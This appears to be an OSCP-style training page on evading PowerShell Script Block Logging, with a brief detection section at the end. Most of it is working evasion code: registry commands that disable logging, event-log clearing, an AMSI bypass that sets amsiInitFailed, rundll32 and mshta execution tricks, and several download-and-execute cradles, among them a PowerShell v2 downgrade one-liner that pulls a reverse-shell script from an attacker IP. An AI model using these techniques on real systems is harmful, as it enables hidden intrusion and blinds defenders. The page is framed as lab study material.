Domain 3Exploit Dev & AV EvasionCORE

Script Block Logging Bypass

Guide to bypassing PowerShell Script Block Logging (Event ID 4104), covering what gets logged, disable techniques, Invoke-Obfuscation, encoded commands, alternative execution methods, and detection monitoring.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#script-block-logging#powershell#event-4104#obfuscation#logging-bypass

Script Block Logging Bypass

What Is Script Block Logging?

Script Block Logging is a PowerShell logging feature introduced in Windows 8 / Server 2012 (PowerShell v3.0+). When enabled, it records the full text of every script block executed by the PowerShell engine — before any obfuscation is applied by the script itself.

  • Log Path: Applications and Services Logs\Microsoft\Windows\PowerShell\Operational
  • Event ID: 4104
  • Severity: Information
  • Captures: The complete, human-readable script content as interpreted by the engine

This is one of the most powerful forensic artifacts available to defenders, because it logs the decoded and expanded version of scripts — even if they were delivered as compressed, encoded, or obfuscated payloads.


What Gets Logged in Event 4104?

When a script block executes, Event 4104 captures:

Field Description
Script Block Text The full, expanded script content (the most critical field)
Script Block ID Unique identifier for this script block instance
Parent ID ID of the parent script block (shows call chain)
Invocation Name Path or name of the invoking script/cmdlet
PID / Process Name Hosting process (e.g., powershell.exe, powershell_ise.exe)
User Account context under which the script ran
Runspace ID Identifier for the PowerShell runspace

Key Insight: Even if you pass a -EncodedCommand argument, the 4104 event will contain the decoded plaintext of that command. This defeats naive base64 encoding as an evasion technique.


Checking If Script Block Logging Is Enabled

Method 1: Registry Check

Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -ErrorAction SilentlyContinue

A value of 1 means logging is enabled. If the registry key does not exist, check the Group Policy path:

Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableScriptBlockLogging" -ErrorAction SilentlyContinue

Method 2: Event Log Verification

Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 1 -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 4104}

If results return, Script Block Logging is active and capturing events.

Method 3: Advanced Logging Policy (AMSI + Transcript)

# Check all three logging mechanisms simultaneously
$paths = @(
    "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcripting"
    "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
    "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging"
)
foreach ($p in $paths) { Get-ItemProperty $p -ErrorAction SilentlyContinue }

Technique 1: Disable Script Block Logging

Via Registry (Requires Admin)

# Disable Script Block Logging
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0 -PropertyType DWord -Force

# Disable Module Logging as well (Event 4103)
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 0 -PropertyType DWord -Force

Via Group Policy

Navigate to: Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell

Set “Turn on Script Block Logging” to Disabled.

Clear Existing Logs

# Clear the PowerShell Operational log (requires admin)
Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"

OSCP Reality Check: You rarely have admin rights on target machines. This technique is most useful in post-exploitation after privilege escalation, or in lab environments where you control the host.


Technique 2: Invoke-Obfuscation Framework

Invoke-Obfuscation (by Daniel Bohannon) is a PowerShell framework designed specifically to test and bypass Script Block Logging and other detection mechanisms.

Setup and Usage

# Clone and import
git clone https://github.com/danielbohannon/Invoke-Obfuscation
Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psd1

# Obfuscate a command
Invoke-Obfuscation `
    -Command 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.x/Invoke-PowerShellTcpOne_reverse.ps1")' `
    -ResolverCount 3 `
    -StopOnFirstSuccess $true `
    -LogPath .\obfuscation_log.txt

Resolver Techniques

The framework applies multiple resolver chains to transform script blocks:

Resolver What It Does
String Concatenation Breaks strings into concatenated fragments ('Pow' + 'er' + 'Shell')
Variable Expansion Replaces literals with variable assignments and dereferences
Base64 Encoding Encodes strings to base64 with runtime decoding
Unicode Escape Converts characters to \uXXXX Unicode escapes
Hex Encoding Encodes strings as hex with runtime conversion
Random Case Randomizes cmdlet/parameter casing (InVoKe-WeBreqUest)
Command Splitting Breaks commands across multiple lines with continuation

Testing Against Script Block Logging

# Interactive mode - tests each obfuscation against the live system
Invoke-Obfuscation -Interactive

# Specify a particular resolver chain
Invoke-Obfuscation -Command $cmd -Resolvers @('String', 'Variable', 'Base64')

Exam Tip: The -Interactive mode is invaluable for OSCP labs. It automatically tests obfuscated output against the running system’s logging and reports which chains successfully evade detection.


Technique 3: Encoded Commands (-EncodedCommand / -enc)

PowerShell supports executing commands via base64-encoded UTF-16LE byte streams:

# Encode a command
$command = 'Get-Process | Where-Object {$_.WorkingSet -gt 100MB}'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)

# Execute via encoded command
powershell.exe -enc $encoded

Multi-Layer Encoding

To add complexity, encode the encoding command itself:

# Layer 1: The inner payload
$payload = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.x/shell.ps1")'

# Layer 2: Encode the payload
$inner = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))

# Layer 3: Wrap in a decoder command
$wrapper = "powershell -enc $inner"
$outer = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($wrapper))

# Execute the outer layer
powershell.exe -enc $outer

Critical Limitation

Script Block Logging decodes -enc arguments before logging. The Event 4104 will show the decoded plaintext. Multi-layer encoding adds noise but does not fundamentally prevent 4104 capture. Combine with other techniques for better evasion.


Technique 4: Alternative Execution Methods

.NET Direct Calls (Bypassing Cmdlets)

Instead of using PowerShell cmdlets (which generate log entries), call .NET Framework classes directly:

# WebClient download without Invoke-WebRequest
$client = New-Object System.Net.WebClient
$client.DownloadString('http://10.10.14.x/payload.ps1') | IEX

# HTTP request via HttpWebRequest
$request = [System.Net.HttpWebRequest]::Create('http://10.10.14.x/payload.ps1')
$response = $request.GetResponse()
$reader = New-Object System.IO.StreamReader($response.GetResponseStream())
$content = $reader.ReadToEnd()
IEX $content

COM Objects for Execution

# WScript.Shell for command execution
$shell = New-Object -ComObject WScript.Shell
$shell.Run('cmd.exe /c whoami', 0, $false)

# Shell.Application for file operations
$shellApp = New-Object -ComObject Shell.Application
$shellApp.Namespace(0).ParseName('notepad.exe').InvokeVerb()

AMSI Bypass Considerations

When using .NET direct calls, be aware that AMSI (Antimalware Scan Interface) may still scan strings passed to certain .NET methods. Consider combining with AMSI bypass techniques:

# Patch AMSI buffer (common technique)
[Ref].Assembly.GetTypes() | ForEach-Object {
    if ($_.Name -match 'AMSI') {
        $field = $_.GetField('amsiInitFailed', 'NonPublic,Static')
        $field.SetValue($null, $true)
    }
}

Technique 5: Command Splitting and Reconstruction

Break commands into fragments that are reconstructed at runtime:

# Fragment the command
$a = 'IEX'
$b = ' (New-Object'
$c = ' Net.WebClient)'
$d = '.DownloadString('
$e = '"http://10.10.14.x/shell.ps1")'

# Reconstruct and execute
& ($a + $b + $c + $d + $e)

Advanced: Character Code Reconstruction

# Build strings from ASCII character codes
$codes = @(73, 88, 69)  # 'I', 'X', 'E'
$string = -join ($codes | ForEach-Object {[char]$_})
# Result: 'IXE' (reverse of IEX for demonstration)

Dynamic Expression Building

# Build the expression dynamically
$parts = @('Invoke', '-', 'Expression')
$cmdlet = $parts -join ''
& $cmdlet { Get-Process }

Technique 6: Alternative Shells

JScript via Rundll32 or Mshta

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("calc")

VBScript via CScript

cscript.exe //E:vbscript //Nologo //B
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c whoami", 0, False

Mshta (HTML Application Host)

mshta.exe vbscript:Close(Execute("GetObject(""script:https://10.10.14.x/payload.sct"")"))

Advantages of Alternative Shells

Shell Bypasses 4104? Bypasses AMSI? Notes
JScript Yes Partially No PowerShell logging applies
VBScript Yes Yes Classic COM-based execution
CScript Yes Yes Good for file-based scripts
Mshta Yes Partially SCT file download + execution
Rundll32 Yes Yes DLL-based, very stealthy

Detection and Monitoring

What Defenders Look For

  1. Event 4104 Volume Analysis: Sudden spikes in script block events may indicate automated exploitation
  2. Encoded Command Usage: -enc or -EncodedCommand in process command lines (Event 4688)
  3. Parent Process Anomalies: PowerShell spawned by cmd.exe, winword.exe, or excel.exe
  4. Registry Modifications: Changes to Script Block Logging policy keys
  5. AMSI Scan Events: Event 1121-1125 in Microsoft-Windows-Windows Defender/Operational

SIEM Correlation Rules

# Alert on encoded PowerShell commands
EventID=4688 AND CommandLine contains "-enc" OR CommandLine contains "-EncodedCommand"

# Alert on PowerShell started from suspicious parents
EventID=4688 AND NewProcessName contains "powershell" AND ParentProcessName IN ("cmd.exe", "winword.exe", "excel.exe", "outlook.exe")

# Alert on Script Block Logging being disabled
EventID=13 AND ObjectValue="0" AND ObjectName contains "EnableScriptBlockLogging"

Practical OSCP Tips

Priority Order for Labs

  1. First, check if logging is even enabled — many OSCP labs run older Windows versions or have logging disabled by default
  2. Try -enc first — it’s the quickest to deploy and works on many lab configurations
  3. Use Invoke-Obfuscation in interactive mode — let the tool test what works on the specific target
  4. Fall back to alternative shells — if PowerShell is heavily monitored, JScript/VBScript may fly under the radar
  5. Combine techniques — encode + obfuscate + alternative execution for maximum evasion

Common Pitfalls

  • UTF-16LE encoding is mandatory for -enc — using UTF-8 will produce invalid base64 that PowerShell rejects
  • PowerShell v2 fallback: powershell.exe -version 2 -enc ... bypasses many v3+ logging features entirely
  • Constrained Language Mode: Some targets enforce this mode, which blocks .NET direct calls and reflection — test first
  • Execution Policy: -ExecutionPolicy Bypass is often needed alongside encoded commands

Quick Reference: PowerShell Version 2 Bypass

# PowerShell v2 does NOT support Script Block Logging
powershell.exe -version 2 -nop -w hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.x/Invoke-PowerShellTcpOne_reverse.ps1')"

This is often the single most effective bypass in OSCP labs, as it entirely sidesteps the v3+ logging infrastructure.

Lab-Specific Advice

  • OffSec Pro Labs / OSCP VMs: Most Windows targets run with Script Block Logging disabled by default. Focus your effort on targets where you observe Event 4104 activity.
  • Windows 10/11 targets: More likely to have logging enabled. The -version 2 bypass is your best friend here.
  • Domain-joined machines: May have Group Policy enforcing logging. Registry changes will be overwritten. Stick to runtime bypasses.
  • Always capture the 4104 event format during your initial recon — knowing exactly what fields are populated helps you tailor your evasion.

Summary Checklist

  • Check if Script Block Logging is enabled (registry + event log)
  • Try powershell.exe -version 2 as the first bypass attempt
  • Use -EncodedCommand with proper UTF-16LE encoding
  • Run Invoke-Obfuscation in interactive mode for complex payloads
  • Consider alternative shells (JScript, VBScript, Mshta) if PowerShell is monitored
  • Combine multiple techniques for defense-in-depth evasion
  • Verify evasion by checking Event 4104 on the target after execution